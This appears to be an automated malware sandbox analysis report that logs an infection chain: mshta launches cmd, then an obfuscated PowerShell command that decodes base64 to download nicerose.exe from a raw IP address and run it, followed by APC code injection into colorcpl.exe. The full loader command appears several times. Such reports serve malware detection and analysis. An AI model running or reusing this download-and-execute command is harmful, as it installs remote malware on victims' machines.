                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 14_2_024B2D5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,14_2_024B2D5C

                HIPS / PFW / Operating System Protection Evasion

                barindex
                Early bird code injection technique detected
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created / APC Queued / Resumed: C:\Windows\SysWOW64\colorcpl.exe
                Allocates memory in foreign processes
                Source: C:\Users\user\AppData\Roaming\nicerose.exeMemory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 2810000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 2480000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFMemory allocated: C:\Windows\SysWOW64\colorcpl.exe base: 3200000 protect: page execute and read and write
                Queues an APC in another process (thread injection)
                Source: C:\Users\user\AppData\Roaming\nicerose.exeThread APC queued: target process: C:\Windows\SysWOW64\colorcpl.exeJump to behavior
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe10_2_02820B5C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe14_2_02490B5C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: 10_2_028275E1 mouse_event,10_2_028275E1
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\nicerose.exe "C:\Users\user\AppData\Roaming\nicerose.exe"Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDF90.tmp" "c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP"Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfywicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurklxr5ceugicagicagicagicagicagicagicagicagicagicagicaglu1ltujfcmrlzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvytg1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz0zylhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicb0c0fycffdskpslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbnyndus2dwdevizsx1aw50icagicagicagicagicagicagicagicagicagicagicagie9nzhvkcupruwfcleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbnktsnicagicagicagicagicagicagicagicagicagicagicagic1uqw1ficagicagicagicagicagicagicagicagicagicagicagicj1quxuuuprtxlpiiagicagicagicagicagicagicagicagicagicagicagicatbkfnzvnwyunficagicagicagicagicagicagicagicagicagicagicagihhbvhfricagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjfywojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtczljixnc4xnjcunzqvndq0l25py2vyb3nllmv4zsisiirlbny6qvbqrefuqvxuawnlcm9zzs5leguildasmck7c1rhclqtu0xfrvaomyk7sw5wt0tflwvycfjfu3npt24gicagicagicagicagicagicagicagicagicagicagicagiirftly6qvbqrefuqvxuawnlcm9zzs5legui'+[char]34+'))')))"
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfywicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurklxr5ceugicagicagicagicagicagicagicagicagicagicagicaglu1ltujfcmrlzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvytg1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz0zylhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicb0c0fycffdskpslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbnyndus2dwdevizsx1aw50icagicagicagicagicagicagicagicagicagicagicagie9nzhvkcupruwfcleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbnktsnicagicagicagicagicagicagicagicagicagicagicagic1uqw1ficagicagicagicagicagicagicagicagicagicagicagicj1quxuuuprtxlpiiagicagicagicagicagicagicagicagicagicagicagicatbkfnzvnwyunficagicagicagicagicagicagicagicagicagicagicagihhbvhfricagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjfywojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtczljixnc4xnjcunzqvndq0l25py2vyb3nllmv4zsisiirlbny6qvbqrefuqvxuawnlcm9zzs5leguildasmck7c1rhclqtu0xfrvaomyk7sw5wt0tflwvycfjfu3npt24gicagicagicagicagicagicagicagicagicagicagicagiirftly6qvbqrefuqvxuawnlcm9zzs5legui'+[char]34+'))')))"
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" "/c powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfywicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurklxr5ceugicagicagicagicagicagicagicagicagicagicagicaglu1ltujfcmrlzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvytg1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz0zylhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicb0c0fycffdskpslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbnyndus2dwdevizsx1aw50icagicagicagicagicagicagicagicagicagicagicagie9nzhvkcupruwfcleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbnktsnicagicagicagicagicagicagicagicagicagicagicagic1uqw1ficagicagicagicagicagicagicagicagicagicagicagicj1quxuuuprtxlpiiagicagicagicagicagicagicagicagicagicagicagicatbkfnzvnwyunficagicagicagicagicagicagicagicagicagicagicagihhbvhfricagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjfywojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtczljixnc4xnjcunzqvndq0l25py2vyb3nllmv4zsisiirlbny6qvbqrefuqvxuawnlcm9zzs5leguildasmck7c1rhclqtu0xfrvaomyk7sw5wt0tflwvycfjfu3npt24gicagicagicagicagicagicagicagicagicagicagicagiirftly6qvbqrefuqvxuawnlcm9zzs5legui'+[char]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ex bypass -nop -w 1 -c devicecredentialdeployment.exe ; invoke-expression($(invoke-expression('[system.text.encoding]'+[char]58+[char]58+'utf8.getstring([system.convert]'+[char]0x3a+[char]58+'frombase64string('+[char]0x22+'jfywicagicagicagicagicagicagicagicagicagicagicagid0gicagicagicagicagicagicagicagicagicagicagicagqurklxr5ceugicagicagicagicagicagicagicagicagicagicagicaglu1ltujfcmrlzkloavrjt24gicagicagicagicagicagicagicagicagicagicagicagj1tebgxjbxbvcnqoilvytg1vbiisicagicagicagicagicagicagicagicagicagicagicagienoyxjtzxqgpsbdagfyu2v0llvuawnvzgupxxb1ymxpyybzdgf0awmgzxh0zxjuieludfb0cibvukxeb3dubg9hzfrvrmlszshjbnrqdhigicagicagicagicagicagicagicagicagicagicagicagz0zylhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicb0c0fycffdskpslhn0cmluzyagicagicagicagicagicagicagicagicagicagicagicbnyndus2dwdevizsx1aw50icagicagicagicagicagicagicagicagicagicagicagie9nzhvkcupruwfcleludfb0ciagicagicagicagicagicagicagicagicagicagicagicbnktsnicagicagicagicagicagicagicagicagicagicagicagic1uqw1ficagicagicagicagicagicagicagicagicagicagicagicj1quxuuuprtxlpiiagicagicagicagicagicagicagicagicagicagicagicatbkfnzvnwyunficagicagicagicagicagicagicagicagicagicagicagihhbvhfricagicagicagicagicagicagicagicagicagicagicagic1qyxnzvghydtsgicagicagicagicagicagicagicagicagicagicagicagjfywojpvukxeb3dubg9hzfrvrmlszsgwlcjodhrwoi8vmtczljixnc4xnjcunzqvndq0l25py2vyb3nllmv4zsisiirlbny6qvbqrefuqvxuawnlcm9zzs5leguildasmck7c1rhclqtu0xfrvaomyk7sw5wt0tflwvycfjfu3npt24gicagicagicagicagicagicagicagicagicagicagicagiirftly6qvbqrefuqvxuawnlcm9zzs5legui'+[char]34+'))')))"Jump to behavior
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager(
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerX7\
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerX7\738
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F56000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Managerr|
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program Manager*
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F68000.00000004.00000020.00020000.00000000.sdmp, colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: |Program Manager|
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F78000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Program ManagerX7\#
                Source: colorcpl.exe, 0000000A.00000002.4486187101.0000000025F08000.00000004.00000020.00020000.00000000.sdmp, logs.dat.10.drBinary or memory string: [Program Manager]
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: 6_2_02C43F66 cpuid 6_2_02C43F66
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,6_2_02BB5A78
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: GetLocaleInfoA,6_2_02BBA798
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: GetLocaleInfoA,6_2_02BBA74C
                Source: C:\Users\user\AppData\Roaming\nicerose.exeCode function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,6_2_02BB5B84
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoA,10_2_0281E2BB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,10_2_0285F2A3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,10_2_0285F216
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,10_2_0285F130
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,10_2_0285F17B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,10_2_0285F61C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,10_2_0285F7F0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,10_2_0285F723
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,10_2_0285F4F3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,10_2_02855914
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,10_2_0285EEB8
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,10_2_02855E1C
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,11_2_02BF5A78
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: GetLocaleInfoA,11_2_02BFA798
                Source: C:\Users\Public\Libraries\Emxwenem.PIFCode function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,11_2_02BF5B83
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,14_2_024CF216
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,14_2_024CF2A3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoA,14_2_0248E2BB
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,14_2_024CF17B
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,14_2_024CF130
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,GetLocaleInfoW,GetACP,14_2_024CF61C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,14_2_024CF723
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,14_2_024CF7F0
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,14_2_024CF4F3
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: EnumSystemLocalesW,14_2_024C5914
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: GetLocaleInfoW,14_2_024C5E1C
                Source: C:\Windows\SysWOW64\colorcpl.exeCode function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,14_2_024CEEB8
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformationJump to behavior
